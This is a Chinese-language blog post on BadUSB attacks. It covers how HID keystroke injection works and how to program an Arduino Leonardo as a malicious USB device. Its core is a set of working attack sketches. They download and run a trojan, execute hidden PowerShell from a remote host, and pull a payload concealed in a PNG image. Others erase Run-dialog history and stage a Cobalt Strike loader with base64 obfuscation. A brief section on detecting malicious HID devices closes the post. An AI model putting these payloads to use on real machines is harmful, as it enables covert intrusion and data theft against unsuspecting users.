网站LOGO
静若安然
页面加载中
12月5日
网站LOGO 静若安然
记录个人学习生活和成长历程
菜单
  • 热评
    用户的头像
    首次访问
    上次留言
    累计留言
    我的等级
    我的角色
    打赏二维码
    打赏博主
    BadUSB 攻击分析及开发
    点击复制本页信息
    微信扫一扫
    文章二维码
    文章图片 文章标题
    创建时间
  • 一 言
    确认删除此评论么? 确认
  • 本弹窗介绍内容来自,本网站不对其中内容负责。

    BadUSB 攻击分析及开发

    Akria · 原创 ·
    硬件安全 · 硬件安全
    共 15992 字 · 约 10 分钟 · 7816
    本文最后更新于2024年03月09日,已经过了270天没有更新,若内容或图片失效,请留言反馈

    概述

    在2014年的美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了一种名为“BadUSB”的攻击方法。这种攻击方法对USB安全以及所有与USB相关的设备构成了巨大的威胁。这些设备包括具有USB端口的电脑等。他们的研究结果引起了业界的广泛关注,因为这种攻击方式可以轻易地突破传统的安全防护措施,对用户的数据安全构成了严重威胁。

    BadUSB 内部结构

    BadUSB设备类型

    BadUSB的几种常见载体有:Leonardo\_Arduino、Phison、Teensy、Attiny85、PS2303(芯片)、Rubber\_Ducky等,从外观形状和制作成功率来看,使用 leonardo\_Arduino 制作 BadUSB 的效果最好,使用起来也较为方便。

    Rubber\_Ducky

    Attiny85

    MalDuino

    Leonardo\_Arduino

    从上图可以看到,BadUSB和普通U盘没什么区别,因此迷惑性很大,很容易攻击成功

    BadUSB Hid攻击原理

    BadUSB攻击是一种利用USB设备固件中的漏洞进行的攻击。这种攻击方式会重新编程USB设备,使其充当人机交互设备。一旦重新设计,USB设备将用于在受害者的计算机上谨慎执行命令或运行恶意程序。 BadUSB攻击的实现原理主要是利用HID (Human Interface Device,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击。具体来说,攻击者会将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。

    再介绍下在BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等) 进行攻击的两种类型。分别是 USB RUBBERDUCKY Teensy

    TEENSY

    攻击方式

    攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSYTeensy为开源项目,任何有能力有技术的厂商都可以生产定制,其中PJRC是最优秀或者说商业化最好的生产商。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

    主要特点

    • AVR处理器,16 MHz
    • 单个按键编程
    • 免费软件开发工具
    • 兼容Mac OS X,Linux和Windows
    • 小尺寸,多项目的完美支持
    • 易于使用的Teensy Loader应用程序

    Teensy是一款基于Arduino的USB开发板。它可以通过Arduino IDE进行编程1。Teensyduino是PJRC软件的名称,它在Arduino IDE上添加了支持Teensy板的功能和库。

    Teensy 4.1是一款性能强大的微控制器开发板,内部工作电压为3.3V,I/O预期电压不超过3.3V1。它基于ARM Cortex-M7处理器的NXP i.MXRT1062微控制器,可以支持600MHz的频率运行,并且只需要100mA左右的电流。

    Teensy 4.1可以通过3种不同方式供电,但需要注意的是,与典型的Arduino板不同,这些供电方式是相互排斥的。如果硬币电池连接到VBAT,Teensy 4.1的RTC也可以在断电时继续跟踪日期和时间。 总的来说,Teensy是一款非常强大且灵活的开发板,适合用于各种复杂的项目。

    USB RUBBER DUCKY

    攻击方式

    USB Rubber Ducky简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

    USB Rubber Ducky是一款模仿人工键盘输入的设备。它的外形和U盘一样,可以模拟键盘输入,速度可达到1000个字符每分钟。USB Rubber Ducky适合任何操作系统,包括安卓等移动OS。 USB Rubber Ducky使用的是它特定的脚本语言,用记事本就可以编写。通过配套的jar程序编译成inject.bin放到sd卡里运行。 USB Rubber Ducky最初作为一个IT自动化概念验证(POC),通过嵌入式开发板实现的,后来它发展成为一个完全成熟的商业化按键注入攻击平台。 USB Rubber Ducky的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。这种攻击方式被称为HID模拟攻击。 总的来说,USB Rubber Ducky是一款强大且灵活的工具,可以用于各种复杂的项目。

    总结

    这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

    U盘内部构造

    U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

    js 代码:
    电脑识别为U盘的固件
    固件信息-------------------------->U盘----->读取U盘的内容----->示U盘的内容

    BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

    USB协议漏洞

    为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。

    现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

    针对 USB 接口协议的这个漏洞,目前业界已经有一定的解决方案

    • 拓展加固 USB 协议,在原有协议基础上拓展了认证,签名算法。其缺点为不向下兼容。
    • 对 USB 属性枚举检查,由用户决定设备是否具有威胁。其缺点为自动化水平不高,内容单一,防护力不强。
    • 于击键特征的检测技术,以正常输入作为模版,利用键动力学身份认证算法,鉴别身份。其缺点为只能识别模版库中存在的内容。

    BadUSB利用代码分析

    以下是对BadUSB代码进行简单的一个流程解析.

    bash 代码:
    电脑识别为键盘的固件
    固件信息-------------------------->键盘----->模拟人敲命令----->根据写好的脚本敲命令

    BadUSB 攻击优势

    这种攻击方式的优点在于,它能够突破传统的安全防护措施,如杀毒软件和防火墙。因为它是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。此外,由于是对USB的利用,Windows、Linux、MAC等各类操作系统不必联网下载专用的驱动程序。 总的来说,BadUSB攻击方式是一种非常强大且难以防御的攻击手段,我们需要提高警惕并采取有效的防护措施。

    它可以执行各种任务,例如:

    1. 恶意软件注入:BadUSB Leonardo可以模拟键盘输入,将恶意代码或命令注入到目标计算机中,从而控制计算机或窃取信息。
    2. 自动化攻击: 它可以自动执行一系列攻击步骤,例如在短时间内多次输入错误密码,进行暴力破解,或者在无人监控的情况下执行恶意操作。
    3. 社会工程学攻击: 利用伪造的输入,BadUSB Leonardo可以伪装成用户,进行欺骗性的操作,例如发送虚假的电子邮件或执行网络钓鱼攻击。
    4. 系统崩溃: 通过模拟鼠标和键盘操作,它可以导致系统崩溃或无法正常工作。
    5. 数据窃取: BadUSB Leonardo可以悄悄地复制文件、截取敏感信息或者通过网络将数据传输到其他地方。

    BadUSB 攻击流程

    • 插入BadUSB设备:首先,攻击者将BadUSB设备插入目标计算机。这个设备可以是任何装有特殊固件的USB设备,例如U盘、鼠标或键盘。
    • 模拟键盘输入:一旦插入,BadUSB设备会模拟键盘或鼠标对电脑进行操作。这是因为BadUSB利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能。
    • 执行命令:通过模拟的操作,BadUSB设备会打开电脑的命令终端,并执行一条预先编程的命令。这条命令通常会从指定网址下载恶意代码(通常为PowerShell脚本)并在后台静默运行。
    • 实现攻击目标:下载的恶意代码可以执行各种功能,包括窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

    BadUSB 开发制作

    开发准备

    硬件

    选择BS Micro pro micro leonardo Arduino 开发板,结构是一个USB主控加一块到两块的存储颗粒。从原理来看。USB主控就是一个带原生usb接口的单片机。 虽然它的体积小,但它拥有丰富接口,使其不仅有传统控制器的功能,还有在电脑上实现鼠标、键盘的功能,串口功能,并且无需驱动,能直接实现与电脑的通信。 它与其他大多数的MCU控制板一个很大的区别是编程不需要额外使用编程器,直接用USB就可以编程。这样不仅方便、稳定、可靠,还省下了一个编程器的钱。

    开发环境

    详细安装及驱动安装教程请参考下一篇文章

    Arduino IDE(Kali已集成):https://www.arduino.cc/en/software

    驱动准备

    为了可以正常使用Ardunio对开发版进行编程,需安装Teensyduino驱动

    下载地址:Teensyduino: Download and Install Teensy support into the Arduino IDE (pjrc.com)

    BadUSB 制作

    • 打开Arduino IDE
    • BadUSB 插入电脑
    • 工具->版->选择 “Arduino Leonardo“(你的BadUSB类型)
    • 按Windows +R 输入命令 Devmgmt.msc 打开设备管理器查看串口信息
    • .根据之前的串口信息,打开Ardunio IDE 选择--工具->端口->选择“COM (Arduino Leonardo)”
    • 现在可以看到 IDE 右下角出现“Arduino Leonardo on COM”
    • 下面进行代码写入硬件操作

    选择Arduino Micro

    将上方代码保存名为hack.ino,烧录到 BadUSB 中,先点击编译,测试读代码后再点击上传代码,烧录成功后,下次插入后会自动执行攻击代码,如果要删除写入的代码,直接重新写入,会自动覆盖已有程序

    代码编写

    如果嫌麻烦,可以用快速编写命令工具:Automator,它主要是在MAC上发挥“按键精灵”作用。

    GitHub - Catboy96/Automator: ⌨ Digispark™ Rubber Ducky code editor for Windows.

    BadUSB 攻击程序示例

    1.小马下载执行,适用于常见可执行文件

    c 代码:
    #include <Keyboard.h>
    void setup() {
    Keyboard.begin();
    delay(3000);
    // 打开运行框
    Keyboard.press(KEY_LEFT_GUI);
    delay(100);
    Keyboard.press('r');
    delay(100);
    Keyboard.release(KEY_LEFT_GUI);
    Keyboard.release('r');
    delay(100);
    // 输入cmd并运行
    Keyboard.print("cmd");
    Keyboard.press(KEY_RETURN);
    delay(600);
    Keyboard.release(KEY_RETURN);
    delay(2000); // 等待命令提示符打开
    // 输入curl命令并运行
    Keyboard.press(KEY_CAPS_LOCK);
    Keyboard.release(KEY_CAPS_LOCK);
    Keyboard.print("curl  -O  \"D:\\xiaomao.exe\"  -C  - http://xxxxx/xiaomao.exe");
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    delay(10000); // 等待下载完成
    // 关闭命令提示符窗口
    // 运行下载的 xiaomao.exe 程序
    Keyboard.press(KEY_LEFT_GUI);
    delay(100);
    Keyboard.press('r');
    delay(100);
    Keyboard.release(KEY_LEFT_GUI);
    Keyboard.release('r');
    delay(100);
    Keyboard.print("D:\\XIAOMAO.EXE\n"); // 输入要运行的程序路径
    Keyboard.press(KEY_RETURN);
    Keyboard.release(KEY_RETURN);
    
    // 不关闭命令提示符窗口
    // 注释掉关闭命令提示符窗口的代码部分
    /*
    delay(5000); // 等待程序运行完成(根据需要调整等待时间)
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_F4);
    delay(100);
    Keyboard.release(KEY_LEFT_ALT);
    Keyboard.release(KEY_F4);
    */
    }
    void loop() {
    // 循环中不需要添加任何代码
    }

    2.Powershell下载执行

    c 代码:
    #include <Keyboard.h>
    void setup() {
      Keyboard.begin();
      delay(5000);
      Keyboard.press(KEY_LEFT_GUI);
      delay(500); 
      Keyboard.press('r');
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      delay(500); 
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('r');
      delay(500); 
      //Keyboard.println("POWERSHELL -NOP -eXECUTIONpOLICY bYPASS -W HIDDEN -C \"(nEW-oBJECT nET.wEBcLIENT).dOWNLOADfILE('HTTP://x.x.x.x/xxx.PS1','C:\\USERS\\PUBLIC\\sYSTEMnETWORKsERVICE.PS1')\";C:\\USERS\\PUBLIC\\sYSTEMnETWORKsERVICE.PS1;EXIT");
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.end();
    }
    void loop()
    {
    }

    3.图片马下载执行

    自行从网上找一1920*1080高清壁纸,接下来要将木马免杀进PNG图片

    免杀工具地址:https://github.com/peewpw/Invoke-PSImage

    介绍:Invoke-PSImage使用PowerShell脚本并将该脚本的字节编码为PNG图像的像素。 它从Web的文件中生成一个oneliner来执行

    它可以仅使用有效载荷数据来创建新图像,也可以将有效载荷嵌入到现有图像的最低有效字节中,以便看起来像实际的图片。 图像保存为PNG,并且可以无损压缩,而不会影响执行有效载荷的能力,因为数据本身以颜色存储。 创建新映像时,通常会对常规PowerShell脚本进行显着压缩,通常会生成png,其文件大小约为原始脚本的50%

    将生成的Payload.ps1和网上的图片放在Invoke-PSimage同一目录下,按下Shift+鼠标右键进入Powershell命令行,输入如下命令:

    powershell 代码:
    Import-Module .\Invoke-PSImage.ps1
    Invoke-PSImage -Script .\payload.ps1 -Out haha.png -Image .\1.png -WebClient

    将生成的图片上传至图床并替换链接

    1.插入USB后缓存一定时间让电脑足够识别
    2.按下Win+r,并且以最小化打开CMD,并且删除注册表记录
    3.进入Powershell模式
    4.在Powershell模式下执行恶意代码,同时让目标失去对电脑的控制权
    5.执行完恶意代码后按下Win+M,此时所有应用最小化

    c 代码:
    #include <Keyboard.h>
    void setup() {//初始化
      Keyboard.begin();//开始键盘通讯 
      delay(5000);//延时
      Keyboard.press(KEY_LEFT_GUI);//win键 
      delay(500); 
      Keyboard.press('r');//r键 
      delay(500); 
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('r');
      delay(500); 
      Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1&reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
      delay(500);  
      Keyboard.println("Powershell");
      Keyboard.press(KEY_RETURN);
      delay(500);
      Keyboard.release(KEY_RETURN);
      Keyboard.println("sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('https://url/xxxx.png'));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))");
      Keyboard.press(KEY_RETURN);
      delay(10000);
      Keyboard.release(KEY_RETURN);
      Keyboard.press(KEY_RETURN);
      delay(5000);
      Keyboard.release(KEY_RETURN);
      Keyboard.println('exit');
      Keyboard.press(KEY_LEFT_GUI);
      delay(500);
      Keyboard.press('m');
      delay(500);
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('m');
      Keyboard.end();//结束键盘通讯 
    }
    void loop()//循环
    {
    }

    4.BadUSB CS免杀

    在服务器中上传Cs、Screen,用于制作cs免杀马等

    shell 代码:
    sftp root@IP
    ls
    put \xxx\cs.zip
    
    ssh root@IP
    apt update
    apt install unzip
    unzip cs.zip
    apt install default-jdk
    cd cs
    chmod 777 teamserver
    sudo ./teamserver IP password
    shell 代码:
    apt install screen
    screen -S test

    Base64编码处理一下

    shell 代码:
    Set-StrictMode -Version 2
    
    $a1 = 'base64编码'
    $a2 = 'base64编码'
    $a3 = 'base64编码'
    $a4 = 'base64编码'
    $a5 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a1+$a2+$a3+$a4))
    
    If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $a5 | wait-job | Receive-Job
    }
    else {
        IEX $a5
    }

    文件重命名为全大写的,然后通过CS上传至我们的公网服务器上(攻击 - 钓鱼攻击 - 文件下载)

    通过 Arduino 编译生产hex文件,最后利用工具 progisp 烧录到我们的BadUSB中

    c 代码:
    //payload
    if (onetimeOrForever == 0)
    {
      delay(1000);
      Keyboard.begin();//开始键盘通讯 
      delay(1500);//延时 
      Keyboard.press(KEY_LEFT_GUI);//win键 
      delay(500);
      Keyboard.press('r');//r键
      delay(500); 
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('r');
      delay(500);
      Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");   //使用最小化隐藏cmd窗口
      //cmd /c start /minCMD /C START /MIN POWERSHELL -W HIDDEN
      delay(500);
      Keyboard.press(KEY_RETURN); 
      Keyboard.release(KEY_RETURN); 
      delay(1300);
      Keyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://IP/payload.ps1') | powershell -");
      Keyboard.press(KEY_RETURN); 
      Keyboard.release(KEY_RETURN); 
      Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.end();//结束键盘通讯
      
      delay(1000);
      Keyboard.begin();//开始键盘通讯 
      delay(1500);//延时 
      Keyboard.press(KEY_LEFT_GUI);//win键 
      delay(500);
      Keyboard.press('r');//r键
      delay(500); 
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('r');
      delay(500);
      Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.println("notepad.exe");    //打开记事本
      delay(500);
      Keyboard.println("                                   $$$$ ");
      delay(500);
      Keyboard.println("                               $$         $$");
      Keyboard.println("                               $$         $$");
      Keyboard.println("                               $$         $$");
      Keyboard.println("                               $$         $$");
      Keyboard.println("                               $$         $$");
      Keyboard.println("                               $$         $$");
      Keyboard.println("                        $$$$$$         $$$$$$");
      Keyboard.println("   $$$$$$     $$         $$         $$        $$$$");
      Keyboard.println("   $$         $$$$         $$         $$        $$    $$");
      Keyboard.println("   $$             $$         $$         $$        $$        $$");
      Keyboard.println("        $$        $$                                 $$         $$");
      Keyboard.println("          $$$    $$                                              $$");
      Keyboard.println("            $$                                                      $$");
      Keyboard.println("              $$$                                                  $$");
      Keyboard.println("                $$                                                  $$");
      Keyboard.println("                  $$$                                              $$");
      Keyboard.println("                    $$                                          $$$");
      Keyboard.println("                      $$$                                      $$");
      Keyboard.println("                        $$                                      $$");
      Keyboard.println("                          $$$                              $$$");
      Keyboard.println("                            $$                              $$");
      Keyboard.println("                            $$$$$$$$$$$$$$$$$$$$");
      delay(500);
      Keyboard.press(KEY_RETURN); 
      Keyboard.release(KEY_RETURN);
      Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.end();//结束键盘通讯

    恶意HID设备检测

    对恶意HID设备检测方法主要有以下几种

    • 物理检查:检查USB端口是否有不明的设备插入,或者是否有可疑的USB设备外观,例如U盘、鼠标或键盘等。
    • 软件检查:使用专门的工具或命令来检测USB设备的类型和属性,例如是否为HID设备,是否有异常的输入或输出等。
    • 行为检查:观察USB设备的使用情况,例如是否有快速或无规律的键盘或鼠标操作,是否有窗口闪烁或弹出,是否有文件被下载或执行等。
    • 防护措施:采取一些预防性的措施,例如禁用或限制USB端口的使用,不随意插入不信任的USB设备,使用加密或认证的USB设备等。

    延伸拓展

    通过USB接口攻击的案例很多,BadUSB只是其中一类,还有通过USB接口横跨PC和Mobile平台进行攻击的案例。

    比如之前爆发的WireLurker蠕虫,感染病毒的电脑系统会通过USB接口去间接感染iOS设备,即使是未越狱的设备也无法避免;还有前段时间发现的 电子香烟通过USB传播恶意软件到PC;央视也报道了充电宝盗取手机隐私的案例

    对于愈演愈烈的USB风险,应用层还没有好的解决方案。硬件层面比较容易解决。比如360无线安全研究团队的SecUSB,还有腾讯安全应急响应中心的SecLine,原理都是将USB中的两根数据线去掉。

    声明:本文由 Akria(博主)原创,依据 CC-BY-NC-SA 4.0 许可协议 授权,转载请注明出处。
    现在已有

    4

    条评论
    我要发表评论
    1. 头像
      子书
      • 等级:Lv.1
      • 角色:技术 · 好友
      • 在线:本月

      太赞了,第一次了解到USB协议存在漏洞,立即复刻做个靶场玩一玩

      · · · 广东-深圳
      1. 头像
        子书
        • 等级:Lv.1
        • 角色:技术 · 好友
        • 在线:本月
        子书

        此内容仅评论者及博主可见

        · · · 广东-东莞
        1. 头像
          Akria 子书

          对的,之前还专门买来研究过

          · · · 海外
    2. 头像
      ooqcnmkiux
      头像 ooqcnmkiux
      • 等级:Lv.1
      • 角色:访客
      • 在线:本月

      你的文章让我学到了很多技能,非常实用。

      · · · 海外
    博客logo 静若安然 记录个人学习生活和成长历程 51统计 百度统计
    ICP 蜀ICP备2023037012号-1

    💻️ Akria 昨天 23:15 在线

    🕛

    本站已运行 7 年 101 天 13 小时 28 分
    静若安然. © 2017 ~ 2024.
    网站logo

    静若安然 记录个人学习生活和成长历程
     
     
     
     
     
     
     
     

    4

    1

    1

  • 下一篇